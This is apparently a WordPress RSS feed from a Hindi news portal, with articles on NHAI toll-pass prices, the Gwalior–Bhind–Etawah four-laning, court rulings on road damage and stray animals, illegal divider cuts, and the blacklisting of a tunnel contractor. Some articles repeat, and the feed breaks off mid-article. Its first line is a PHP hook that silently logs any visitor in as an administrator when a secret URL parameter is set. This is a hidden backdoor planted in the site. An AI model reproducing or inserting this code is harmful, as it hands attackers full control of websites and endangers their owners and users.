// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); NHAI – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Tue, 10 Mar 2026 05:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 हाईवे पर बिना टोल फर्राटा लगाने वालों को झटका, NHAI एनुअल पास होगा महंगा https://pratyushaashakinayikiran.com/?p=203751 Tue, 10 Mar 2026 05:45:00 +0000 https://pratyushaashakinayikiran.com/?p=203751 नई दिल्ली

आप अक्सर सड़कों पर मोटर गाड़ी (Car/Jeep/Van) लेकर निकल पड़ते हैं। राजमार्गों या एक्सप्रेसवे पर हर कुछ किलोमीटर पर बने टोल प्लाजा पर फीस भरते-भरते आप परेशान हैं। तो आपके लिए राष्ट्रीय राजमार्ग प्राधिकरण (NHAI) ने एनुअल पास जारी कर दिया है। अब यही पास महंगा होने वाला है। जी हां, एनएचएआई का एनुअल पास अगले एक अप्रैल से महंगा होने वाला है।

कितना महंगा होगा
एनएचएआई के एक वरिष्ठ अधिकारी ने बताया कि एनएचएआई का एनुअल पास आगामी वित्त वर्ष 2026-27 के पहले दिन मतलब कि एक अप्रैल से महंगा होने वाला है। जब पूछा गया कि कितना महंगा होगा तो उन्होंने बताया कि इसमें 75 रुपये से 100 रुपये के बीच बढ़ोतरी हो सकती है। यह पास अभी 3,000 रुपये में मिलता है।

क्यों महंगा होगा
एनएचएआई का टोल जिस तरह से हर साल एक अप्रैल से बढ़ता है, उसी तरह से एनुअल पास में भी यही व्यवस्था है। टोल के दर में या एनुअल पास के रेट में बढ़ोतरी मुद्रास्फीति के थोक मूल्य सूचकांक (WPI) पर आधारित है। साल भर में डब्ल्यूपीआई इंडेक्स में जितनी बढ़ोतरी होती है, उसी हिसाब से एनएच के टोल भी बढ़ जाते हैं। उसी तरह से इस साल एनुअल पास का रेट करीब 100 रुपये बढ़ जाएगा।

क्या है एनुअल पास
जो व्यक्ति एनएच पर बराबर यात्रा करते हैं, उनकी सहूलियत के लिए पिछले साल 15 अगस्त से एनुअल पास की स्कीम लाई गई है। इसके तहत अभी 3,000 रुपये में एक पास जारी किया जाता है जो कि देश के राष्ट्रीय राजमार्ग (NH) या राष्ट्रीय एक्सप्रेसवे (NE) के टोल प्लाजा पर वैलिड है। इस पास को खरीद लेने के बाद मोटर वाहन के मालिक एक साल या 200 टोल प्लाजा बिना शुल्क दिए पास कर सकते हैं। यदि आपने एक साल पूरा होने से पहले ही 200 टोल प्लाजा पार कर लिए तो उससे पहले ही पास खत्म हो जाएगा।

कौन खरीद सकते हैं एनुअल पास
एनएचएआई के एनुअल पास को कोई भी प्राइवेट या निजी कार, जीप या वैन के मालिक खरीद सकते हैं। कोई भी कॉमर्शियल व्हीकल या भाड़ा कमाने वाली गाड़ी के मालिक इसे नहीं खरीद सकते हैं। इस पास को राजमार्ग यात्रा ऐप और एनएचएआई पोर्टल से खरीदा जा सकता है।

]]>
हाईवे पर बिना टोल फर्राटा लगाने वालों को झटका, NHAI एनुअल पास होगा महंगा https://pratyushaashakinayikiran.com/?p=203749 Tue, 10 Mar 2026 05:45:00 +0000 https://pratyushaashakinayikiran.com/?p=203749 नई दिल्ली

आप अक्सर सड़कों पर मोटर गाड़ी (Car/Jeep/Van) लेकर निकल पड़ते हैं। राजमार्गों या एक्सप्रेसवे पर हर कुछ किलोमीटर पर बने टोल प्लाजा पर फीस भरते-भरते आप परेशान हैं। तो आपके लिए राष्ट्रीय राजमार्ग प्राधिकरण (NHAI) ने एनुअल पास जारी कर दिया है। अब यही पास महंगा होने वाला है। जी हां, एनएचएआई का एनुअल पास अगले एक अप्रैल से महंगा होने वाला है।

कितना महंगा होगा
एनएचएआई के एक वरिष्ठ अधिकारी ने बताया कि एनएचएआई का एनुअल पास आगामी वित्त वर्ष 2026-27 के पहले दिन मतलब कि एक अप्रैल से महंगा होने वाला है। जब पूछा गया कि कितना महंगा होगा तो उन्होंने बताया कि इसमें 75 रुपये से 100 रुपये के बीच बढ़ोतरी हो सकती है। यह पास अभी 3,000 रुपये में मिलता है।

क्यों महंगा होगा
एनएचएआई का टोल जिस तरह से हर साल एक अप्रैल से बढ़ता है, उसी तरह से एनुअल पास में भी यही व्यवस्था है। टोल के दर में या एनुअल पास के रेट में बढ़ोतरी मुद्रास्फीति के थोक मूल्य सूचकांक (WPI) पर आधारित है। साल भर में डब्ल्यूपीआई इंडेक्स में जितनी बढ़ोतरी होती है, उसी हिसाब से एनएच के टोल भी बढ़ जाते हैं। उसी तरह से इस साल एनुअल पास का रेट करीब 100 रुपये बढ़ जाएगा।

क्या है एनुअल पास
जो व्यक्ति एनएच पर बराबर यात्रा करते हैं, उनकी सहूलियत के लिए पिछले साल 15 अगस्त से एनुअल पास की स्कीम लाई गई है। इसके तहत अभी 3,000 रुपये में एक पास जारी किया जाता है जो कि देश के राष्ट्रीय राजमार्ग (NH) या राष्ट्रीय एक्सप्रेसवे (NE) के टोल प्लाजा पर वैलिड है। इस पास को खरीद लेने के बाद मोटर वाहन के मालिक एक साल या 200 टोल प्लाजा बिना शुल्क दिए पास कर सकते हैं। यदि आपने एक साल पूरा होने से पहले ही 200 टोल प्लाजा पार कर लिए तो उससे पहले ही पास खत्म हो जाएगा।

कौन खरीद सकते हैं एनुअल पास
एनएचएआई के एनुअल पास को कोई भी प्राइवेट या निजी कार, जीप या वैन के मालिक खरीद सकते हैं। कोई भी कॉमर्शियल व्हीकल या भाड़ा कमाने वाली गाड़ी के मालिक इसे नहीं खरीद सकते हैं। इस पास को राजमार्ग यात्रा ऐप और एनएचएआई पोर्टल से खरीदा जा सकता है।

]]>
ग्वालियर-भिंड-इटावा NH-719 बनेगा फोर लेन, NHAI की DPR अंतिम चरण में, 117 किमी का सफर होगा आसान https://pratyushaashakinayikiran.com/?p=202495 Thu, 05 Mar 2026 03:35:00 +0000 https://pratyushaashakinayikiran.com/?p=202495 भिंड/इटावा/ग्वालियर,
  
मध्य प्रदेश और पश्चिमी उत्तर प्रदेश को जोड़ने वाला महत्वपूर्ण NH-719 (ग्वालियर-भिण्ड-इटावा) अब जल्द ही फोर लेन हाईवे में तब्दील होगा. भारतीय राष्ट्रीय राजमार्ग प्राधिकरण (NHAI) ने इस परियोजना की विस्तृत परियोजना रिपोर्ट (DPR) तैयार करने का काम लगभग पूरा कर लिया है. सड़क परिवहन एवं राजमार्ग मंत्रालय से जिम्मेदारी मिलने के बाद NHAI अब अगले कुछ महीनों में निर्माण कार्य शुरू करने की तैयारी में है.

इस प्रोजेक्ट की कुल लंबाई लगभग 117 किलोमीटर रहेगी. मौजूदा हालत में इस 2 लेन रोड पर अत्यधिक यातायात दबाव रहता है. इसके चलते इसे फोर लेन बनाया जाएगा. इसमें बायपास निर्माण और ब्लैक स्पॉट्स का खात्मा हो जाएगा. वर्तमान में हर दिन तकरीबन 20 हजार वाहन इस मार्ग से गुजरते हैं.

परियोजना के चरण: कब क्या होगा?

    भविष्य के ट्रैफिक और सड़क सुरक्षा पहलुओं का अध्ययन पूरा होने वाला है. 

    DPR के बाद आवश्यक स्वीकृतियां मिलते ही भूमि अधिग्रहण (Land Acquisition) की प्रक्रिया शुरू होगी.

    सभी वैधानिक औपचारिकताएं पूरी होते ही आगामी कुछ महीनों में टेंडर अवार्ड कर काम शुरू कर दिया जाएगा.

फोर लेन बनने के 5 बड़े फायदे

    शहरों में प्रस्तावित बायपास के कारण भारी वाहनों को शहर के अंदर नहीं घुसना पड़ेगा, जिससे स्थानीय नागरिकों को जाम और प्रदूषण से राहत मिलेगी.

    मार्ग पर मौजूद 'ब्लैक स्पॉट्स' (दुर्घटना संभावित क्षेत्र) को समाप्त किया जाएगा. क्रैश बैरियर और आधुनिक रोड मार्किंग से यात्रा सुरक्षित होगी.

    फोर लेन होने से वाहनों की गति बढ़ेगी, जिससे ग्वालियर से इटावा के बीच यात्रा समय में भारी गिरावट आएगी.

    बेहतर कनेक्टिविटी से ग्वालियर-चंबल क्षेत्र में औद्योगिक निवेश, कृषि परिवहन और लॉजिस्टिक्स गतिविधियों को बढ़ावा मिलेगा.

    एमपी और यूपी के बीच व्यापारिक संबंध मजबूत होंगे और परिवहन लागत में कमी आएगी.

कनेक्टिविटी को नई ऊंचाई
NHAI के क्षेत्रीय कार्यालय के अनुसार, यह परियोजना ग्वालियर-चंबल संभाग के समग्र विकास के लिए मील का पत्थर साबित होगी. जिला प्रशासन के साथ समन्वय स्थापित किया जा चुका है ताकि परियोजना के क्रियान्वयन में कोई देरी न हो.

]]>
106 करोड़ की सड़क 6 महीने में उखड़ी: हाईकोर्ट ने NHAI से 15 दिसंबर तक मांगा जवाब https://pratyushaashakinayikiran.com/?p=191493 Sat, 15 Nov 2025 11:45:00 +0000 https://pratyushaashakinayikiran.com/?p=191493  

इंदौर

 मध्यप्रदेश के हाईकोर्ट की इदौर खंडपीठ ने NHAI (National Highways Authority of India भारतीय राष्ट्रीय राजमार्ग प्राधिकरण) के बनाए गए 8.5 किलोमीटर के हाईवे (सड़क) को लेकर लगी याचिका मामले में 15 दिसंबर तक जवाब मांगा है।

गड्ढों के कारण हो रहे हादसे
याचिकाकर्ता के एडवोकेट के मुताबिक 106 करोड रुपए की लागत से बनी सड़क 6 महीने में उखड़कर गड्ढे में तब्दील हो गई है। मामले में इंदौर हाईकोर्ट ने NHAI से 15 दिसंबर तक जवाब मांगा है। याचिका में बताया गया है कि सड़क पर हुए गड्ढों के कारण हादसे हो रहे हैं।

इंदौर सेंधवा हाईवे का मामला
इंदौर हाईकोर्ट ने NHAI को सड़क ठीक करने के निर्देश दिए हैं। साल 2009 से 2024 के बीच 3000 से ज्याद एक्सीडेंट में 450 से ज्यादा मौतें हो चुकी है। घाट को कम करने के लिए 8.5 किलोमीटर का रोड का निर्माण किया था। जनहित याचिका लगने के बाद ही इंदौर सेंधवा हाईवे का यह रोड बनाया गया था।

]]>
सड़कों और हाईवे से आवारा पशु हटाएं: सुप्रीम कोर्ट ने राज्यों, NHAI और निकायों को दिए निर्देश https://pratyushaashakinayikiran.com/?p=189831 Fri, 07 Nov 2025 09:45:00 +0000 https://pratyushaashakinayikiran.com/?p=189831 नई दिल्ली

सुप्रीम कोर्ट ने आवारा कुत्तों के मामले में सुनवाई करते हुए सभी राज्यों और केंद्र शासित प्रदेशों को अहम निर्देश जारी किया है। कोर्ट ने कहा है कि सभी आवारा पशुओं को सड़कों, राज्य के हाईवे और राष्ट्रीय राजमार्गों से हटाया जाए। सर्वोच्च न्यायालय ने इसे लेकर राज्यों के साथ-साथ राष्ट्रीय राजमार्ग प्राधिकरण (एनएचएआई) और नगरपालिकाओं को भी निर्देश जारी किया है।

इतना ही नहीं कोर्ट ने निर्देश दिया है कि आवारा पशुओं को हटाने के लिए हाईवे निगरानी टीमें बनाई जाएं जो उन्हें पकड़ कर सड़कों से हटाएगी और शेल्टर होम्स में रखेगी।

शीर्ष अदालत ने अपने आदेश में आगे आवारा कुत्तों के मुद्दे पर भी आदेश जारी किया। कोर्ट ने कहा कि सभी शिक्षण संस्थानों, अस्पतालों, बस और रेलवे स्टेशनों से आवारा कुत्तों को हटाया जाए और उन्हें शेल्टर होम में जगह दी जाए। साथ ही उन्हें टीकाकरण के बाद भी उसी इलाके में न छोड़े जाने के निर्देश दिए गए हैं।
 
सुप्रीम कोर्ट की तीन जजों- जस्टिस विक्रम नाथ, जस्टिस संदीप मेहता और जस्टिस एनवी अंजारिया की पीठ ने सुनवाई के दौरान कुत्तों के काटने के मामलों में चौंकाने वाली बढ़ोतरी की बात कही और आदेश दिया कि अधिकारी आवारा कुत्तों को पकड़ने के बाद उन्हें शेल्टर में टीके दिए जाएं। इसके बाद उन्हें पुरानी जगहों पर न छोड़ा जाए। इसके अलावा सार्वजनिक जगहों पर आवारा कुत्तों के दोबारा न घुसने देने के इंतजाम भी तय हों। कोर्ट इस मामले में अगली सुनवाई 13 जनवरी को करेगी।

 

]]>
हाइवे पर ढाबों और पेट्रोल पंपों के सामने अवैध डिवाइडर कट पर सख्ती, सुप्रीम कोर्ट रोड सेफ्टी कमेटी ने लिया संज्ञान https://pratyushaashakinayikiran.com/?p=176154 Thu, 07 Aug 2025 08:05:00 +0000 https://pratyushaashakinayikiran.com/?p=176154 भोपाल 

भारतीय राष्ट्रीय राजमार्ग (NHAI) पर रोजाना भीषण हादसे हो रहे हैं। भारत सरकार भी समय-समय पर एडवाइजरी जारी कर रहा है। लेकिन, हाईवे के किनारे बने ढाबा और पेट्रोल पंप हादसों को न्योता दे रहे हैं।जिसके चलते ना सिर्फ हाईवे के बीच में वाहन खड़े हो रहे हैं बल्कि दुर्घटना भी तेजी से बढ़ी है। एनएच 30 के स्लीमनाबाद से जबलपुर होते हुए धूमा (सिवनी) तक अवैध तरीके से 60 से अधिक स्टापेज बनाए गए हैं। जिसके लिए ढाबा और पेट्रोल पंप संचालकों ने दोनों सड़कों के बीच में मिट्टी से भरकर बराबर कर दिया है।

ऐसे में अब राइट से लेफ्ट और लेफ्ट से राइट जाने वाले वाहन कहीं से भी टर्न हो जाते हैं, नतीजन बड़ी दुर्घटना हो जाती है। सुप्रीम कोर्ट कमेटी आन रोड सेफ्टी के चेयरमैन बीते एक माह से मध्यप्रदेश के दौरे पर हैं। उन्होंने देखा कि इंदौर, भोपाल, नरसिंहपुर में हाइवे पर अवैध डिवाइडर कट बनाए गए हैं।

फायदे के लिए हाईवे पर कर लिया कब्जा कटनी जिले के स्लीमनाबाद से लेकर जबलपुर होते हुए नागपुर रोड में धूमा के बीच में एनएचएआई ने जांच की। इस दौरान 60 से अधिक स्थानों में हाईवे के बीच में अवैध रास्ता और स्टापेज बने मिले।

एनएचएआई की तरफ से नोटिस भी दिए गए, लेकिन स्थिति जस की तस है। अब जबकि सुप्रीम कोर्ट कमेटी आन रोड सेफ्टी कमेटी ने इस और ध्यान देते हुए राज्य सरकार और एनएचएआई को कार्रवाई के निर्देश दिए हैं।

बीते एक सप्ताह के दौरान 50 से अधिक ऐसे स्थानों को जेसीबी मशीन की मदद से ध्वस्त किया गया है।

शिवहरे ढाबे की सबसे खराब स्थिति जबलपुर-धूमा के पास में शिवहरे ढाबा और पेट्रोल पंप है। दोनों के मालिक एक ही है। इन्होंने अपने फायदे और अधिक से अधिक ग्राहकों को रोकने के लिए हाईवे के बीच में मिट्टी डालकर प्लेन कर दिया। ऐसे में नागपुर से जबलपुर और जबलपुर से नागपुर जाने वाली अधिकतर गाड़ी इसी ढाबे या फिर पेट्रोल पंप पर रुकती है।

एनएचएआई ने कई बार नोटिस जारी किया है। पुलिस से शिकायत भी की, लेकिन नतीजा सिफर ही रहा।

बुधवार को एनएचएआई के अधिकारियों ने हाइवे के बीच में बिछाई गई मिट्टी को जेसीबी से अलग किया है। हिदायत दी है कि अगर फिर से ऐसा कृत्य किया जाता है, तो कानूनी कार्रवाई करते हुए FIR कराई जाएगी।

एनएचएआई का शुरू हुआ अभियान सुप्रीम कोर्ट कमेटी आन रोड सेफ्टी के चेयरमैन जस्टिस अभय मनोहर सप्रे सड़कों पर हो रहे हादसे को जानने के लिए लगातार अलग-अलग रोड में घूम-घूमकर देख रहे हैं।

हाल ही में जस्टिस अभय मनोहर जब इंदौर, भोपाल और नरसिंहपुर दौरे पर थे, तब उन्होंने देखा कि हाईवे के बीच में अवैध तरीके से रोड को कट करते हुए डिवाइडर बनाए गए हैं, जिसके चलते वाहन चालक कहीं से भी गाड़ी को टर्न कर देता है।

जिसके चलते गंभीर सड़क हादसे होते है। चेयरमैन जस्टिस अभय मनोहर के सख्त निर्देश के बाद राज्य सरकार और एनएचएआई ने अवैध डिवाइडर कट बनाने वालों के खिलाफ अभियान शुरू कर दिया है। जबलपुर में बीते एक सप्ताह के दौरान 50 से अधिक वह स्थान जहां पर कि डिवाइडर बनाए गए थे, उन्हें बंद किए गए हैं।

लोकल लोग बनाते हैं दबाव एनएचएआई के प्रोजेक्ट डायरेक्टर अमृत लाल साहू ने दैनिक भास्कर से कहा कि कई दिनों से हिदायत दी जा रही है कि पेट्रोल पंप और ढाबे के सामने अवैध तरीके से बनाए गए डिवाइडर कट को बंद कर दिया जाए, क्योंकि इससे दुर्घटनाएं हो रही है, लेकिन लोकल के लोगों के कारण हमारी बातों पर ध्यान नहीं दिया गया।

धीरे-धीरे ये लोग अपनी सुविधा अनुसार हाईवे पर डिवाइडर कट बनाते चले गए।

जब हाईवे बनाया जा रहा था, तब यह प्लान किया था कि बीच में जो जगह छोड़ी गई है, उसमे पौधे लगेंगे। लेकिन, रोड किनारे के ढाबे और पेट्रोल पंप संचालकों ने अनअथोराइज एक्सेस बना रखे हैं। कई बार इन्हें समझाया भी, पर नहीं माने।

एक सप्ताह में पूरे अवैध डिवाइडर खत्म किए जाएंगे एनएचएआई के प्रोजेक्ट डायरेक्टर अमृत लाल साहू का कहना है कि एक सप्ताह के भीतर जितने भी अवैध डिवाइडर कट बने हैं, उन्हें खत्म किया जाएगा। इसके साथ ही भविष्य में अब दोबारा कोई इस तरह का काम ना करता है, तो उसके खिलाफ एफआईआर भी थाने में दर्ज करवाई जाएगी।

उन्होंने बताया कि एनएचआई की एक टीम अब लगातार ऐसे लोगों पर निगरानी भी रखेगी, जो कि हाईवे में अवैध काम करते है। एनएचएआई के मुताबिक हाईवे में अभी तक स्लीमनाबाद से धूमा के बीच 40 लोगों की जान गई हैं, जिसमें 6 लोगों ने अवैध डिवाइडर के चलते जान गंवाई है।

8 अगस्त को चेयरमैन लेंगे बैठक सुप्रीम कोर्ट कमेटी आन रोड सेफ्टी के चेयरमैन इन दिनों मध्यप्रदेश के दौरे में है। अभी तक उन्होंने भोपाल,इंदौर सहित कई अन्य जिलों में जाकर हाईवे और सड़क की स्थिति देखी। 8 अगस्त को चेयरमैन जस्टिस अभय मनोहर सप्रे की अध्यक्षता में सड़क सुरक्षा समिति की बैठक कलेक्ट्रेट सभागार मे होगी।

जिसमें कलेक्टर,एसपी सहित ट्रैफिक पुलिस, एनएचएआई, स्टेट हाईवे के अधिकारी भी मौजूद रहेंगे। सुप्रीम कोर्ट कमेटी आन रोड सेफ्टी की बैठक में भी अवैध डिवाइडर कट की समीक्षा की जाएगी।

हाईवे पर अचानक नहीं लगा सकते ब्रेक…मानें जाएंगे दोषी, क्या बोली सुप्रीम कोर्ट

रोड सेफ्टी को लेकर सुप्रीम कोर्ट ने हाल ही में एक अहम फैसला सुनाया है. इस फैसले में कोर्ट ने ये स्पष्ट किया कि हाईवे पर बिना चेतावनी अचानक वाहन रोकना लापरवाही माना जाएगा. कोर्ट ने ये टिप्पणी एक ऐसे मामले की सुनवाई के दौरान की जिसमें एक गंभीर सड़क हादसे में एक युवक का पैर काटना पड़ा. ये मामला साल 2017 में तमिलनाडु के कोयंबटूर से जुड़ा हुआ है.
हाईवे पर अचानक ब्रेक बन सकता है बड़ा खतरा

सुप्रीम कोर्ट ने कहा कि नेशनल हाईवे तेज स्पीड से सफर के लिए बनाए जाते हैं. ऐसे में अगर कोई ड्राइवर अचानक गाड़ी रोकता है और पीछे आने वाले वाहनों को संकेत नहीं देता है, तो ये न सिर्फ उसकी बल्कि दूसरों की जान को भी खतरे में डाल सकता है. कोर्ट ने इस बात पर जोर दिया कि भारत के कई हाईवे पर शोल्डर या स्पीड ब्रेकर की पूर्व सूचना नहीं होती, ऐसे में ड्राइवर की सतर्कता और जिम्मेदारी और भी बढ़ जाती है.
इमरजेंसी में भी देना होगा संकेत

कोर्ट ने ये भी स्पष्ट किया कि कुछ परिस्थितियों में जैसे कि इमरजेंसी,खराबी या कोई बाधा आने पर वाहन को रोकना जरूरी हो सकता है, लेकिन फिर भी ड्राइवर की जिम्मेदारी बनती है कि वह पीछे आने वाले वाहनों को समय रहते संकेत दे ताकि हादसा टाला जा सके. कोर्ट ने कहा “हाईवे पर तेज रफ्तार सामान्य बात है. अगर कोई ड्राइवर रुकने की योजना बना रहा है, तो उसे दूसरों को अलर्ट करना जरूरी है ये उसकी जिम्मेदारी है.
सुप्रीम कोर्ट ने तय किया जिम्मेदारी का बंटवारा

इस मामले में सुप्रीम कोर्ट की दो सदस्यीय पीठ जस्टिस सुधांशु धूलिया और जस्टिस अरविंद कुमार ने कहा कि हालांकि हकीम बिना वैध ड्राइविंग लाइसेंस के बाइक चला रहा था और उसने सामने चल रहे वाहन से पर्याप्त दूरी नहीं रखी थी, लेकिन दुर्घटना की शुरुआत उस कार के अचानक रुकने से हुई.
कोर्ट ने जिम्मेदारी को तीन भागों में बांटा

कार ड्राइवर 50% जिम्मेदार

बस ऑपरेटर 30% जिम्मेदार

हकीम (बाइक सवार) 20% जिम्मेदार

सुप्रीम कोर्ट के इस फैसले से ये संदेश साफ है कि हाईवे जैसे तेज रफ्तार वाले मार्गों पर अचानक ब्रेक लगाना बिना संकेत दिए गंभीर लापरवाही मानी जाएगी. इससे होने वाले हादसों में वाहन चालक की बड़ी जिम्मेदारी तय की जा सकती है. ये फैसला देशभर के ड्राइवरों को सतर्कता और जिम्मेदारी से वाहन चलाने की सीख देता है, खासकर जब वे नेशनल हाईवे पर सफर कर रहे हों.

 

 

]]>
इंदौर-देवास, इंदौर-सांवेर मार्ग की जर्जर हालत दायर याचिका को हाई कोर्ट ने पहली ही सुनवाई में निराकृत https://pratyushaashakinayikiran.com/?p=170668 Tue, 15 Jul 2025 09:46:00 +0000 https://pratyushaashakinayikiran.com/?p=170668 इंदौर

 इंदौर-देवास बायपास और इंदौर-सांवेर मार्ग की जर्जर हालत को लेकर दायर जनहित याचिका को मध्यप्रदेश हाई कोर्ट ने पहली ही सुनवाई में निराकृत कर दिया। कोर्ट ने कहा कि इसी विषय पर पूर्व से ही एक जनहित याचिका विचाराधीन है, ऐसे में नई याचिका की आवश्यकता नहीं है। यदि याचिकाकर्ता चाहें तो अपनी बात पूर्व याचिका में रख सकते हैं।

यह याचिका नरेंद्र जैन द्वारा एडवोकेट अनिल ओझा के माध्यम से दायर की गई थी, जिसमें उन्होंने बायपास की खराब हालत, लगातार लग रहे जाम और फ्लाइओवर निर्माण के चलते उत्पन्न ट्रैफिक समस्या को आधार बनाया था।

याचिका में उठाए गए मुख्य मुद्दे

इंदौर-देवास बायपास पर हाल ही में लगातार 36 घंटे लंबा ट्रैफिक जाम लगा, जिससे आमजन को भारी परेशानी का सामना करना पड़ा।

याचिकाकर्ता के अनुसार राष्ट्रीय राजमार्ग प्राधिकरण (NHAI) को पहले से इस संभावित स्थिति की जानकारी थी, फिर भी कोई वैकल्पिक मार्ग तैयार नहीं किया गया।

अर्जुन बड़ौद क्षेत्र में निर्माणाधीन फ्लाइओवर के चलते सड़क पर लंबे जाम की स्थिति पैदा हो रही है, जिससे एम्बुलेंस, स्कूल बसें और आम नागरिक बुरी तरह प्रभावित हो रहे हैं।

कोर्ट की टिप्पणी

सोमवार को याचिका पर सुनवाई करते हुए हाई कोर्ट ने स्पष्ट किया कि इस विषय पर पहले से ही एक जनहित याचिका लंबित है। शासन की ओर से यह जानकारी अदालत को दी गई। इस पर न्यायालय ने नई याचिका को निरस्त कर दिया और याचिकाकर्ता को सलाह दी कि वे अपनी बात पहले से लंबित याचिका में ही रखें।

बायपास की हालत बनी चिंता का विषय

इंदौर-देवास बायपास और इंदौर-सांवेर रोड की हालत लंबे समय से खराब बनी हुई है। बारिश के मौसम में गड्ढों और निर्माण कार्य के कारण हालात और बिगड़ जाते हैं। हालिया जाम की स्थिति ने प्रशासन और NHAI की तैयारियों पर सवाल खड़े कर दिए हैं।

लोगों की मांग

स्थानीय नागरिकों और सोशल मीडिया पर सक्रिय समूहों की मांग है कि-
निर्माण कार्य की स्पष्ट टाइमलाइन जारी की जाए।
वैकल्पिक मार्गों की ठोस योजना बनाई जाए।
NHAI और जिला प्रशासन समयबद्ध तरीके से निर्माण कार्य पूर्ण करें।

 

]]>
इंदौर-देवास, इंदौर-सांवेर मार्ग की जर्जर हालत दायर याचिका को हाई कोर्ट ने पहली ही सुनवाई में निराकृत https://pratyushaashakinayikiran.com/?p=170670 Tue, 15 Jul 2025 09:46:00 +0000 https://pratyushaashakinayikiran.com/?p=170670 इंदौर

 इंदौर-देवास बायपास और इंदौर-सांवेर मार्ग की जर्जर हालत को लेकर दायर जनहित याचिका को मध्यप्रदेश हाई कोर्ट ने पहली ही सुनवाई में निराकृत कर दिया। कोर्ट ने कहा कि इसी विषय पर पूर्व से ही एक जनहित याचिका विचाराधीन है, ऐसे में नई याचिका की आवश्यकता नहीं है। यदि याचिकाकर्ता चाहें तो अपनी बात पूर्व याचिका में रख सकते हैं।

यह याचिका नरेंद्र जैन द्वारा एडवोकेट अनिल ओझा के माध्यम से दायर की गई थी, जिसमें उन्होंने बायपास की खराब हालत, लगातार लग रहे जाम और फ्लाइओवर निर्माण के चलते उत्पन्न ट्रैफिक समस्या को आधार बनाया था।

याचिका में उठाए गए मुख्य मुद्दे

इंदौर-देवास बायपास पर हाल ही में लगातार 36 घंटे लंबा ट्रैफिक जाम लगा, जिससे आमजन को भारी परेशानी का सामना करना पड़ा।

याचिकाकर्ता के अनुसार राष्ट्रीय राजमार्ग प्राधिकरण (NHAI) को पहले से इस संभावित स्थिति की जानकारी थी, फिर भी कोई वैकल्पिक मार्ग तैयार नहीं किया गया।

अर्जुन बड़ौद क्षेत्र में निर्माणाधीन फ्लाइओवर के चलते सड़क पर लंबे जाम की स्थिति पैदा हो रही है, जिससे एम्बुलेंस, स्कूल बसें और आम नागरिक बुरी तरह प्रभावित हो रहे हैं।

कोर्ट की टिप्पणी

सोमवार को याचिका पर सुनवाई करते हुए हाई कोर्ट ने स्पष्ट किया कि इस विषय पर पहले से ही एक जनहित याचिका लंबित है। शासन की ओर से यह जानकारी अदालत को दी गई। इस पर न्यायालय ने नई याचिका को निरस्त कर दिया और याचिकाकर्ता को सलाह दी कि वे अपनी बात पहले से लंबित याचिका में ही रखें।

बायपास की हालत बनी चिंता का विषय

इंदौर-देवास बायपास और इंदौर-सांवेर रोड की हालत लंबे समय से खराब बनी हुई है। बारिश के मौसम में गड्ढों और निर्माण कार्य के कारण हालात और बिगड़ जाते हैं। हालिया जाम की स्थिति ने प्रशासन और NHAI की तैयारियों पर सवाल खड़े कर दिए हैं।

लोगों की मांग

स्थानीय नागरिकों और सोशल मीडिया पर सक्रिय समूहों की मांग है कि-
निर्माण कार्य की स्पष्ट टाइमलाइन जारी की जाए।
वैकल्पिक मार्गों की ठोस योजना बनाई जाए।
NHAI और जिला प्रशासन समयबद्ध तरीके से निर्माण कार्य पूर्ण करें।

 

]]>
कश्मीर : जोजिला टनल बनाने वाली कंपनी ब्लैकलिस्ट, NHAI ने इसलिए की कार्रवाई https://pratyushaashakinayikiran.com/?p=164995 Thu, 19 Jun 2025 12:35:00 +0000 https://pratyushaashakinayikiran.com/?p=164995 नई दिल्ली
कश्मीर में इन दिनों जोजिला टनल (Zojila Tunnel) बनाने का काम चल रहा है। यह काफी चुनौतीपूर्ण कार्य माना जाता है। इस सुरंग को बनाने वाली कंपनी का नाम मेघा इंजीनियरिंग एंड इंफ्रास्ट्रक्चर लिमिटेड (MEIL) है। हैदराबाद मुख्यालय वाली इसी कंपनी को भारतीय राष्ट्रीय राजमार्ग प्राधिकरण (NHAI) ने ब्लैकलिस्ट कर दिया है। जी हां, एनएचएआई ने मेघा इंजीनियरिंग एंड इंफ्रास्ट्रक्चर पर एक साल के लिए टेंडर प्रक्रिया में भाग लेने से ही रोक लगा दी है। इसका मतलब है कि MEIL अब एक साल तक NHAI के किसी भी नए प्रोजेक्ट के लिए बोली नहीं लगा पाएगी।
क्यों हुई कार्रवाई

मीडिया रिपोर्ट के मुताबिक एमईआईएल पर यह कार्रवाई केरल में NH-66 के चेंगला-नीलेश्वरम सेक्शन में सड़क के किनारे ढलानों को ठीक से सुरक्षित नहीं करने और पानी की निकासी का सही सिस्टम नहीं बनाने की वजह से की गई है। आसान भाषा में कहें तो, MEIL को सड़क के किनारे की मिट्टी को गिरने से बचाने और बारिश के पानी को निकालने का काम ठीक से करना था, लेकिन उन्होंने ऐसा नहीं किया। NHAI ने MEIL को एक नोटिस भेजा है। इसमें पूछा गया है कि उन्हें एक साल के लिए क्यों न बैन कर दिया जाए। साथ ही, उन पर 9 करोड़ रुपये तक का जुर्माना भी लगाया जा सकता है।

कंपनी को मिला था यह काम

MEIL को NH-66 के 77 किलोमीटर लंबे चेंगला-नीलेश्वरम से थालिपरम्बा तक के हिस्से को चौड़ा करने का काम मिला था। यह प्रोजेक्ट हाइब्रिड एन्युटी मॉडल (HAM) के तहत किया जा रहा था। HAM का मतलब है कि कंपनी को सड़क बनाने के साथ-साथ 15 साल तक उसकी देखभाल भी करनी होगी। अब MEIL को अपने खर्च पर ढलानों को फिर से ठीक करना होगा। यानी, जितना भी नुकसान हुआ है, उसे MEIL ही ठीक करेगी। अधिकारियों ने MEIL को कारण बताओ नोटिस जारी किया है। इसमें एक साल के लिए बैन लगाने और 9 करोड़ रुपये तक का जुर्माना लगाने की बात कही गई है।

जांच के लिए कमेटी

